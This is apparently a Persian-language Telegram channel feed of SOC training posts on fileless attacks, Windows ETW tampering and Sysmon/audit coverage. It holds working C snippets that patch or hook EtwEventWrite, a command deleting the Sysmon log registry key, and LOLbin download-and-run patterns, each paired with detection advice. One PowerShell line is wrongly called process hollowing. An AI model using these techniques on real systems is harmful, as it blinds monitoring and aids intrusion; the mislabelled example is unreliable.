👆👆=======توضیح برای برای مبتدیان

حمله Fileless چیست؟

حمله Fileless نوعی حمله سایبری است که بدون نیاز به ذخیره هیچ فایلی روی دیسک اجرا می‌شود. برخلاف بدافزارهای سنتی که روی هارد دیسک ذخیره شده و اجرا می‌شوند، در این حمله، کد مخرب مستقیماً در حافظه (RAM) اجرا می‌شود. این روش باعث می‌شود شناسایی آن توسط آنتی‌ویروس‌ها و EDRها سخت‌تر شود.
🕵️‍♂️ چرا حمله Fileless خطرناک است؟
✅ عدم نیاز به فایل → چیزی روی دیسک ذخیره نمی‌شود، بنابراین آنتی‌ویروس‌های سنتی که فایل‌های مخرب را اسکن می‌کنند، نمی‌توانند آن را تشخیص دهند.
✅ استفاده از ابزارهای قانونی ویندوز → مهاجم از ابزارهای داخلی مانند PowerShell, WMI, Regsvr32, rundll32 برای اجرای کد استفاده می‌کند، که تشخیص را سخت می‌کند.
✅ اجرای در حافظه (RAM) → بدافزار فقط در حافظه اجرا شده و پس از ریستارت شدن سیستم، اثری از آن باقی نمی‌ماند.
✅ بای‌پس کردن کنترل‌های امنیتی → بسیاری از آنتی‌ویروس‌ها و راهکارهای امنیتی روی فایل‌ها و پردازش‌های دیسک تمرکز دارند، نه روی اجرای کد در حافظه

#من_آموزش_میدهم
#آکادمی_روزبه

لازم دونستم این لینک رو به اشتراک بگذارم

درخصوص مدلسازی تهدید با کمک از LLM

هم گیت هاب هم ویدئو

#آکادمی_روزبه

https://m.youtube.com/watch?v=aaH9nBeKC2A

https://github.com/mrwadams/stride-gpt

حملات علیه لاگ‌گیری ETW (Event Tracing for Windows) در ویندوز

✍️روزبه نوروزی

اینETW یک مکانیزم لاگ‌گیری کارآمد در ویندوز است که اطلاعات مفیدی درباره پردازش‌ها، API Calls، و رفتارهای شبکه‌ای ارائه می‌دهد. مهاجمان برای دور زدن ETW از تکنیک‌های مختلفی استفاده می‌کنند که در ادامه بررسی می‌کنیم.
🚨 1. غیرفعال‌سازی ETW در زمان اجرا

🔹 مهاجمان می‌توانند با تغییر برخی متغیرها یا استفاده از APIهای ویندوز، لاگ‌گیری را غیرفعال کنند.
🔹 روش: تغییر مقدار EtwEventWrite در حافظه تا باعث از کار افتادن لاگ‌گیری شود.
📌 نمونه کد (Patch کردن ETW در حافظه)

#include <windows.h>
#include <stdio.h>

void DisableETW() {
DWORD oldProtect;
void* etwAddr = (void*)GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite");
VirtualProtect(etwAddr, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
*(BYTE*)etwAddr = 0xC3; // تغییر اولین بایت به RET
VirtualProtect(etwAddr, 1, oldProtect, &oldProtect);
}

int main() {
DisableETW();
printf("ETW Disabled!\n");
return 0;
}

🔍 این کد اولین دستور EtwEventWrite را به RET (0xC3) تغییر می‌دهد و باعث غیرفعال شدن لاگ‌گیری می‌شود.
🚨 2.انجام Hook کردن APIهای مربوط به ETW

🔹 مهاجمان می‌توانند EtwEventWrite را Hook کرده و کاری کنند که هیچ رویدادی ثبت نشود.
🔹 این روش اغلب در Rootkitها و بدافزارهای پیشرفته استفاده می‌شود.
📌 انجامHook کردن EtwEventWrite با Detours

#include <windows.h>
#include <detours.h>

typedef NTSTATUS (NTAPI* tEtwEventWrite)(HANDLE, LPCGUID, ULONG, ULONG, PVOID);
tEtwEventWrite pOriginalEtwEventWrite;

NTSTATUS NTAPI HookedEtwEventWrite(HANDLE RegHandle, LPCGUID EventDescriptor, ULONG UserDataCount, ULONG UserDataLength, PVOID UserData) {
return 0; // حذف همه لاگ‌ها
}

void HookETW() {
pOriginalEtwEventWrite = (tEtwEventWrite)GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite");
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)pOriginalEtwEventWrite, HookedEtwEventWrite);
DetourTransactionCommit();
}

🔍 این کد مانع از ثبت هرگونه لاگ ETW می‌شود.
🚨 3. حذف رجیستری ETW Providers

🔹 مکانیزمETW از رجیستری برای ذخیره تنظیمات لاگ‌گیری استفاده می‌کند.
🔹 مهاجمان می‌توانند کلیدهای رجیستری مربوطه را حذف کنند تا ETW دیگر رویدادهای خاصی را ثبت نکند.
📌 دستور حذف Providerهای Sysmon از رجیستری

Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Sysmon/Operational" -Force

🔍 با این کار، لاگ‌های Sysmon در ETW غیرفعال می‌شوند.
🚨 4. استفاده از پردازش‌های مجازی برای گمراه کردن ETW

🔹 بدافزارها می‌توانند از Process Hollowing یا Doppelgänging استفاده کنند تا فرآیندهای مخرب از دید ETW پنهان بمانند.
🔹 این روش‌ها باعث می‌شوند که پردازش واقعی چیزی به نظر برسد که نیست!

📌 روش اجرای Process Hollowing در PowerShell:

Start-Process "notepad.exe" -NoNewWindow -PassThru | %{ $_.id } | %{ Stop-Process -Id $_ -Force }

🔍 این کد می‌تواند پردازش‌های تقلبی ایجاد کند که لاگ‌های آنها در ETW بی‌اثر می‌شود.
🚨 5. استفاده از تکنیک "Tampering with ETW Events"

🔹 مهاجمان می‌توانند محتوای لاگ‌های ارسال‌شده به ETW را تغییر دهند.
🔹 این کار معمولاً با استفاده از Inline Hooking یا Kernel Mode Rootkit انجام می‌شود.

📌 روش تزریق DLL برای تغییر داده‌های لاگ‌شده:

BOOL WINAPI HookedEventWrite(EVENT_TRACE_HEADER *Header) {
strcpy((char*)Header->Buffer, "FAKE LOG DATA"); // تغییر داده‌ها
return TRUE;
}

🔍 این روش داده‌های ثبت‌شده در لاگ ETW را تغییر می‌دهد.


🔰 راهکارهای مقابله با حملات علیه ETW

✅ 1. مانیتورینگ Integrity NTDLL
🔹 ابزارهایی مثل Windows Defender ATP و Sysmon می‌توانند تغییرات در ntdll.dll را شناسایی کنند.
🔹 راهکار: اجرای دستور Sysmon برای شناسایی تغییرات غیرمجاز در EtwEventWrite:

<EventFiltering>
<Include>
<ImageLoad onmatch="include">
<ImageLoaded condition="contains">ntdll.dll</ImageLoaded>
</ImageLoad>
</Include>
</EventFiltering>

✅ 2. تشخیص Hookهای مشکوک با ابزارهای Memory Scanning
🔹 ابزارهایی مثل GMER و Volatility می‌توانند Hookهای مشکوک روی EtwEventWrite را شناسایی کنند.
🔹 دستور Volatility برای بررسی تغییرات در EtwEventWrite

volatility -f memory.dmp --profile=Win10x64 apihooks

ادامه در پست بعد

#من_آموزش_میدهم
#آکادمی_روزبه

ادامه از پست قبل

✅ 3. استفاده از Kernel Logging برای مانیتورینگ لاگ‌های حذف‌شده
🔹 برخی EDRها مثل CrowdStrike Falcon می‌توانند تلاش‌های حذف لاگ‌ها را تشخیص دهند.
🔹 فعال کردن Auditing در Windows Defender:

Set-MpPreference -EnableFileHashComputation $true

✅ 4. نظارت بر حذف یا تغییر رجیستری‌های مربوط به ETW
🔹 راهکار: ایجاد یک قانون برای شناسایی تغییر در رجیستری‌های ETW با PowerShell:

Get-EventLog -LogName Security | Where-Object {$_.EventID -eq 1102}

✅ 5. فعال‌سازی Event Forwarding برای ارسال لاگ‌ها به SIEM
🔹 راهکار: ارسال لاگ‌ها به Splunk یا ELK برای جلوگیری از پاک شدن در سیستم محلی.
🎯 جمع‌بندی

✔️ حملات علیه ETW شامل Patch کردن APIها، Hook کردن توابع، حذف رجیستری، و دستکاری رویدادها هستند.
✔️ مهاجمان از این تکنیک‌ها برای مخفی‌سازی پردازش‌های مخرب، حذف شواهد، و جلوگیری از کشف بدافزارها استفاده می‌کنند.
✔️ ترکیب SIEM، EDR، Memory Forensics، و Kernel Logging می‌تواند راه‌های شناسایی این حملات را تقویت کند.

📢 اگر در یک SOC فعالیت دارید، حتماً لاگ‌های ETW را به یک SIEM ارسال کرده و Integrity نهایی NTDLL را پایش کنید! 🚀

#من_آموزش_میدهم
#آکادمی_روزبه

خب ... خیلی درس دادم
یکم مقاله بخونیم

#آکادمی_روزبه

Exploiting eneio64.sys Kernel Driver on Windows 11 by Turning Physical Memory R/W into Virtual Memory R/W

Write-Up on eneio64.sys Driver Exploitation

https://xacone.github.io/eneio-driver.html

پیرو درخواست دوستان
لینک گروه کتابخوانی عید نوروز
https://t.me/+BhYnsv9Zm6ozODNk

درحال حاضر مباحث پیش نیاز درحال بررسی است

لازمه محیط کوبر رو اگر شروع نکردید کم کم دست بگیرید


#آکادمی_روزبه

https://bobvanderstaak.medium.com/72719f9e1010?source=friends_link&sk=2fddd1540d46a67aa517b210aea1313e

چند نکته از من درمورد جدول ATT&CK

🏆شما بودجه و امکانات لایتناهی ندارید لذا باید از تکنیک های این جدول، اولویت خودتان ( سازمان هدف ) رو گزینش کنید.

🎖برخی تکنیکها صد درصد قابل جلوگیری یا کشف نیستند پس در تعهدی که به کارفرما میدیم دقت می‌کنیم.

🎯این جدول لیست کاملی از تکنیکهای حمله نیست !! پس کارفرما و شما باید اینو بدونید .

✨️این جدول ( و وبلاگهای مرتبط) بایستی هر سه ماه یکبار پایش بشه

#تجربه #درس_آموخته
#آکادمی_روزبه

این شبها با عزیزی اینو بحث کردیم گفتم شما هم بدونید که تست کنید. برخی از شما در کلاسهایی که داشتیم باهم کارکردیم برخی هم اگر کار نکردین انجام بدین

https://github.com/NextronSystems/APTSimulator

تجربیات کلیدی از کار با APT Simulator

🎈عدم شناسایی برخی تکنیک‌ها توسط SIEM

وقتی برای اولین بار APT Simulator را در مجموعه ای اجرا کردم، انتظار داشتم SIEM به‌سرعت همه رفتارهای مشکوک را تشخیص بده اما در کمال تعجب، برخی حملات کاملاً از دید SIEM مخفی ماندند!
نمونه‌ای از تکنیکی که شناسایی نشد:
تکنیک T1086 – PowerShell Execution اجرا شد و در Windows Event Logs (ID 4104) نشانه‌هایی از اجرای PowerShell دیده شد، اما SIEM هیچ هشداری نداد!
✅ درس آموخته‌شده:
باید قوانین سفارشی را در SIEM نوشت تا اجرای PowerShell مشکوک را تشخیص دهد.

🎈فرار از شناسایی توسط EDR
در یک سناریو، قصد داشتم ببینم که آیا EDR قادر به شناسایی اجرای مخفیانه ابزارهای مخرب است یا خیر. APT Simulator از تکنیکی مثل T1055 – Process Injection استفاده کرد.
نتیجه:
در اون سازمان EDR برخی رفتارهای مخرب را شناسایی کرد، اما در برخی موارد که حمله روی فرآیندهای سیستمی امضا نشده اجرا شد، تشخیص داده نشد.
✅ درس آموخته‌شده:
نسبت به تغییر EDR اقدام کردیم

🎈 بررسی اثر حملات بر روی لاگ‌های ویندوز

یکی از مفیدترین تجربه‌ها برای من این بود که بعد از اجرای حملات، بررسی کنم که چه تغییراتی در لاگ‌های ویندوز ایجاد شده است.
متوجه شدم Auditing به دقت تنظیم نشده است لذا یکبار بر این موضوع وقت گذاشتم البته برای یک مجموعه دیگر بر روی سیسمون کار کردم

#آکادمی_روزبه
#تجربه

نمیدونم بگم اونهایی که این نوع مقالات رو میخونن چه جایگاهی دارند؛ ولی کارشون درسته که بنیادین عمل می‌کنند

#آکادمی_روزبه

https://techcommunity.microsoft.com/blog/coreinfrastructureandsecurityblog/active-directory-hardening-series---part-4-%E2%80%93-enforcing-aes-for-kerberos/4114965

استفاده از دستگاه دروغ سنج در دپارتمان امنیت ملی آمریکا برای یافتن سرمنشاء نشت اطلاعات

#آکادمی_روزبه

https://www-nbcnews-com.cdn.ampproject.org/c/s/www.nbcnews.com/news/amp/rcna195485

یه ویدئو براتون میگذارم تا چیستی ETW دستتون بیاد

#آکادمی_روزبه

https://youtu.be/-i_xAF7JqyA?si=Iov9GT_bnJyU6Kfg

اینم یه مقاله خوب واسه سطح ۲ مرکز عملیات

#آکادمی_روزبه

https://www.thedfirspot.com/post/lateral-movement-remote-desktop-protocol-rdp-event-logs

توضیح :
اگر تنوع و حجم مطالب کانال، ترسی درشما ایجاد می‌کند هم خوش یمن است و هم تاحدی نباید بدان توجه کنید:

خوش یمن از این جهت که شاید نیازی میبینید برای ارتقاء، پس با اقدام میتوانید آن ترس را کنترل کنید

بی خیال باشید از آن جهت که این پست ها در چند گرایش و حاصل سالها تجربه است لذا شما یک یا دو گرایش را پی بگیرید و نیازی نیست همه مطالب را بدانید یا دنبال کنید. لذا ترس را کمرنگ نمایید.

موفق و شاد باشید🌹

سیسمون و Audit در ویندوز برای SOC

✍️روزبه نوروزی

میدونیم که سیسمون چه رویداد هایی رو لاگ می‌اندازد. و می‌دونیم ویندوز بصورت پیش فرض یکسری رویداد ها را لاگ نمی‌کند و لازم است Audit را تنظیم کرد. حالا با نگاهی به حملات بیایید بررسی کنیم چه چیزهایی رو نمیشه با تنظیم سیسمون گرفت و لازمه با تنظیم audit در ویندوز لاگ گیری کرد ،  آیا سیسمون به تنهایی کافیه؟

سیسمون (Sysmon) یک ابزار قدرتمند برای لاگ‌گیری از فعالیت‌های سیستمی در ویندوز است، اما محدودیت‌هایی دارد که باعث می‌شود در برخی موارد نیاز به تنظیمات Windows Audit Policy باشد. در اینجا برخی از حملات را بررسی می‌کنیم و مشخص می‌کنیم که آیا سیسمون به‌تنهایی کافی است یا باید از Windows Audit نیز استفاده شود:
۱. حملات اجرای کد از راه دور (RCE) و Exploitation
✅ سیسمون لاگ می‌گیرد:
این Sysmon با Event ID 1 (Process Creation) می‌تواند اجرای پردازش‌های مشکوک را ثبت کند.
Event ID 8 (CreateRemoteThread) و Event ID 10 (ProcessAccess) می‌توانند برای شناسایی حملات تزریق کد به کار روند.
❌ اما کافی نیست، Audit لازم است:
Object Access > Audit Handle Manipulation
می‌تواند برای بررسی دسترسی‌های غیرمجاز روی حافظه یا فایل‌ها کمک کند.
Privilege Use > Audit Sensitive Privilege Use
می‌تواند استفاده از توکن‌های حساس را لاگ کند.
۲. حملات مربوط به دستکاری لاگ‌ها و حذف ردپاها
✅ سیسمون لاگ می‌گیرد:
Event ID 5 (Process Terminated)
برای بررسی فرآیندهای غیرعادی که در تلاش برای حذف ردپاها هستند.
Event ID 22 (DNS Query)
برای شناسایی درخواست‌های مشکوک به سرویس‌های C2.
❌ اما کافی نیست، Audit لازم است:
Audit Policy Change برای بررسی تغییرات در تنظیمات لاگ‌گیری ویندوز.
System > Audit System Integrity
برای بررسی تغییرات غیرمجاز در رجیستری و فایل‌های سیستم.
۳. حملات Pass-the-Hash (PtH) و Pass-the-Ticket (PtT)
✅ سیسمون لاگ می‌گیرد:
Event ID 10 (Process Access) برای مشاهده تلاش‌های دسترسی به پردازش‌های LSASS.
❌ اما کافی نیست، Audit لازم است:
Logon/Logoff > Audit Logon برای ثبت لاگین‌های مشکوک.
Credential Validation > Audit Credential Validation
برای بررسی تأییدیه‌های هویتی.
Special Logon
برای بررسی ورودهای مدیریتی و استفاده از توکن‌های خاص.
۴. حملات مربوط به ایجاد کاربر و تغییر دسترسی‌ها (Privilege Escalation)
✅ سیسمون لاگ می‌گیرد:
Event ID 1 (Process Creation) می‌تواند اجرای ابزارهایی مثل net user یا wmic را ثبت کند.
❌ اما کافی نیست، Audit لازم است:
Account Management > Audit User Account Management برای بررسی ایجاد یا حذف کاربران.
Privilege Use > Audit Privilege Use
برای مشاهده دسترسی‌های سطح بالا.
۵. حملات به Active Directory و Kerberos
✅ سیسمون لاگ می‌گیرد:
Event ID 13 (Registry Key and Value Change)
برای بررسی تغییرات در رجیستری که ممکن است روی Kerberos تأثیر بگذارد.
❌ اما کافی نیست، Audit لازم است:
Account Logon > Audit Kerberos Authentication Service
برای بررسی درخواست‌های احراز هویت Kerberos.
Audit Directory Service Access
برای لاگ کردن تغییرات در Active Directory.
۶. حملات مربوط به اجرای اسکریپت‌های مخرب (PowerShell, WMI, HTA, VBA)
✅ سیسمون لاگ می‌گیرد:
Event ID 1 (Process Creation) برای اجرای اسکریپت‌های مشکوک.
Event ID 11 (File Create)
برای بررسی ایجاد فایل‌های مشکوک.
❌ اما کافی نیست، Audit لازم است:
Script Block Logging در Group Policy
برای لاگ کردن اسکریپت‌های PowerShell.
WMI Auditing
برای بررسی اجرای WMI در سطح سیستم.
نتیجه‌گیری
سیسمون ابزار بسیار خوبی برای مشاهده رفتارهای مشکوک در سطح پردازش، شبکه، و رجیستری است، اما به‌تنهایی برای تحلیل همه‌ی حملات کافی نیست. تنظیم Windows Audit Policy می‌تواند لاگ‌های اضافی و ارزشمندی را فراهم کند، به‌خصوص در موارد زیر:
احراز هویت و لاگین‌ها (Kerberos, PtH, PtT)
دسترسی‌های مدیریتی و تغییرات در سیستم (Account Management, Privilege Use)
دسترسی به Active Directory و لاگ‌های امنیتی (Audit Directory Service Access)
تغییرات در Audit Policy و حذف لاگ‌ها (Audit Policy Change, System Integrity)

این Sysmon را برای بررسی فعالیت‌های مشکوک در سطح پردازش و رجیستری فعال نگه‌دارید.
مقوله Windows Audit Policy را روی دسته‌های Logon, Privilege Use, Object Access, و System Integrity تنظیم کنید تا حملات پیچیده‌تر قابل مشاهده باشند.


#آکادمی_روزبه
#من_آموزش_میدهم

راهکار فرار بدافزارهای جدید

🔴وقتی از امنیت علیه امنیت استفاده میشه

خیلی خطرناک هستند
🟣واقعا راهکارهای جدیدی برای کشف این نوع نفوذ ها لازمه

این لینک مضاف برکتاب Evasive malware هست که در نوروز همخوانی می‌کنیم. اطلاعاتی جدید علاوه بر محتوای کتاب

#آکادمی_روزبه

https://www.akamai.com/blog/security-research/2025/feb/2025-february-abusing-vbs-enclaves-evasive-malware

🚨بررسی APIها و ابزارهای پرکاربرد در حملات Fileless و نحوه پایش آن‌ها در SOC
✍️روزبه نوروزی

حملات Fileless بدافزارهایی هستند که بدون ایجاد فایل روی دیسک، کد مخرب را مستقیماً در حافظه اجرا می‌کنند. این نوع حملات معمولاً از PowerShell، WMI، اسکریپت‌های ماکرو، و فرآیندهای معتبر ویندوز سوءاستفاده می‌کنند.

در اینجا لیستی از APIها و ابزارهای مهم مورد استفاده در این حملات همراه با روش‌های پایش آنها در SOC ارائه شده است.
📌این APIها و ابزارهای کلیدی در حملات Fileless
1️⃣ اجرای کد در حافظه

🔹 VirtualAlloc / VirtualAllocEx / VirtualProtect / VirtualProtectEx
🔹 NtAllocateVirtualMemory / NtProtectVirtualMemory
🔹 WriteProcessMemory / ReadProcessMemory
🔹 RtlMoveMemory / memcpy
🔹 CreateRemoteThread / NtCreateThreadEx / QueueUserAPC

✅ چطور پایش کنیم؟
🔍 در ETW (Event Tracing for Windows) و Sysmon می‌توان Event ID 10 (Process Access) و Event ID 8 (Process Injection) را بررسی کرد.
🔍 به تغییر مجوزهای حافظه از RW به RX مشکوک باشید.
🔍 نظارت بر VirtualAlloc همراه با CreateThread در یک فرآیند خاص (مثل explorer.exe).
2️⃣ اجرای کد از طریق پردازش‌های دیگر (Process Injection)

🔹 CreateRemoteThread → تزریق و اجرای کد در فرآیند دیگر
🔹 NtCreateThreadEx → روش مخفی‌تر برای ایجاد ترد
🔹 QueueUserAPC → اجرای کد هنگام اجرای ترد هدف
🔹 SetThreadContext / GetThreadContext → تغییر جریان اجرای یک ترد

✅ چطور پایش کنیم؟
🔍 Sysmon Event ID 8
را برای Process Injection بررسی کنید.
🔍 هرگونه اجرای غیرعادی CreateRemoteThread را در پراسس هایی مثل lsass.exe یا explorer.exe بررسی کنید.
🔍 محصولان EDRهایی مانند سیمنتک و CrowdStrike، Microsoft Defender for Endpoint، SentinelOne قابلیت تشخیص Injection را دارند.
3️⃣ سوءاستفاده از PowerShell و WMI

🔹استفاده از powershell.exe -EncodedCommand → اجرای اسکریپت رمزگذاری‌شده
🔹و wmic process call create → اجرای فرآیند با WMI
🔹و Invoke-Expression (IEX) → دانلود و اجرای کد مخرب
🔹و mshta.exe → اجرای کد مخرب HTML از راه دور

✅ چطور پایش کنیم؟
🔍 Sysmon Event ID 1
(Process Creation) را برای powershell.exe بررسی کنید.
🔍 PowerShell Logging
را فعال کنید (Script Block Logging و Module Logging).
🔍 درخواست‌های WMI را در Event ID 5861 و Event ID 5857 نظارت کنید.
🔍 Microsoft Defender ASR (Attack Surface Reduction)
را برای بلاک کردن WMIC و mshta.exe فعال کنید.
4️⃣ جایگزینی و هالویینگ پراسس(Process Hollowing)

🔹 NtUnmapViewOfSection → حذف کد اصلی یک فرآیند
🔹 ZwWriteVirtualMemory / WriteProcessMemory → تزریق کد جدید
🔹 NtResumeThread → اجرای کد جدید

✅ چطور پایش کنیم؟
🔍 Sysmon Event ID 10
را برای دسترسی غیرعادی به حافظه فرآیندها بررسی کنید.
🔍 تغییر مسیر اجرای فرآیند در Event ID 25 (Process Tampering) را بررسی کنید.
🔍 بررسی کنید که آیا فرآیندها مانند svchost.exe یا explorer.exe به ناگهان کد جدیدی دریافت کرده‌اند.
5️⃣ اجرای کد بدون ایجاد فایل (LOLbins)

🔹 rundll32.exe → اجرای DLLهای مخرب
🔹 regsvr32.exe /s /u /i:url → دانلود و اجرای DLL از اینترنت
🔹 msiexec.exe /q /i <url> → دانلود و اجرای بدافزار
🔹 certutil.exe -urlcache -split -f <url> → دانلود بدافزار
🔹 bitsadmin /transfer <url> → دانلود و اجرای مخفیانه بدافزار

✅ چطور پایش کنیم؟
🔍 اجرای این ابزارها با آرگومان‌های غیرعادی را در Sysmon Event ID 1 بررسی کنید.
🔍 از Application Control Policies (AppLocker) برای محدود کردن این ابزارها استفاده کنید.
🔍این Attack Surface Reduction (ASR) را در Microsoft Defender فعال کنید.
🎯 استراتژی کلی پایش حملات Fileless در SOC
✅ 1. فعال کردن Sysmon و ETW

اینSysmon Event IDs مهم:
ID 1 (Process Creation) → اجرای پردازش‌های مشکوک
ID 3 (Network Connection) → ارتباطات غیرعادی
ID 8 (Process Injection) → تزریق کد به فرآیندها
ID 10 (Process Access) → تغییرات در حافظه
ID 25 (Process Tampering) → تغییرات در فرآیندهای در حال اجرا

✅ 2. فعال کردن Windows Defender و EDR

Microsoft Defender ASR Rules:
بلاک کردن اجرای PSExec و WMI
جلوگیری از اجرای اسکریپت‌های رمزگذاری‌شده در PowerShell
محدود کردن mshta.exe و regsvr32.exe

✅ 3. استفاده از Threat Hunting در Splunk و SIEM

پایش VirtualAlloc همراه با CreateThread در یک فرآیند
جستجوی powershell.exe -EncodedCommand در لاگ‌ها
بررسی ارتباطات غیرعادی با Sysmon Event ID 3
یافتن جابجایی فرآیندها (NtUnmapViewOfSection)

#آکادمی_روزبه

🚀 نتیجه‌گیری🎖👇👇

حملات Fileless به‌دلیل عدم ایجاد فایل روی دیسک، توسط آنتی‌ویروس‌های سنتی به‌راحتی قابل شناسایی نیستند. اما با ترکیب Sysmon، EDR، و Threat Hunting در SIEM می‌توان این نوع حملات را شناسایی کرد


#آکادمی_روزبه

سیسمون از نگاه محمد فانیان

#آکادمی_روزبه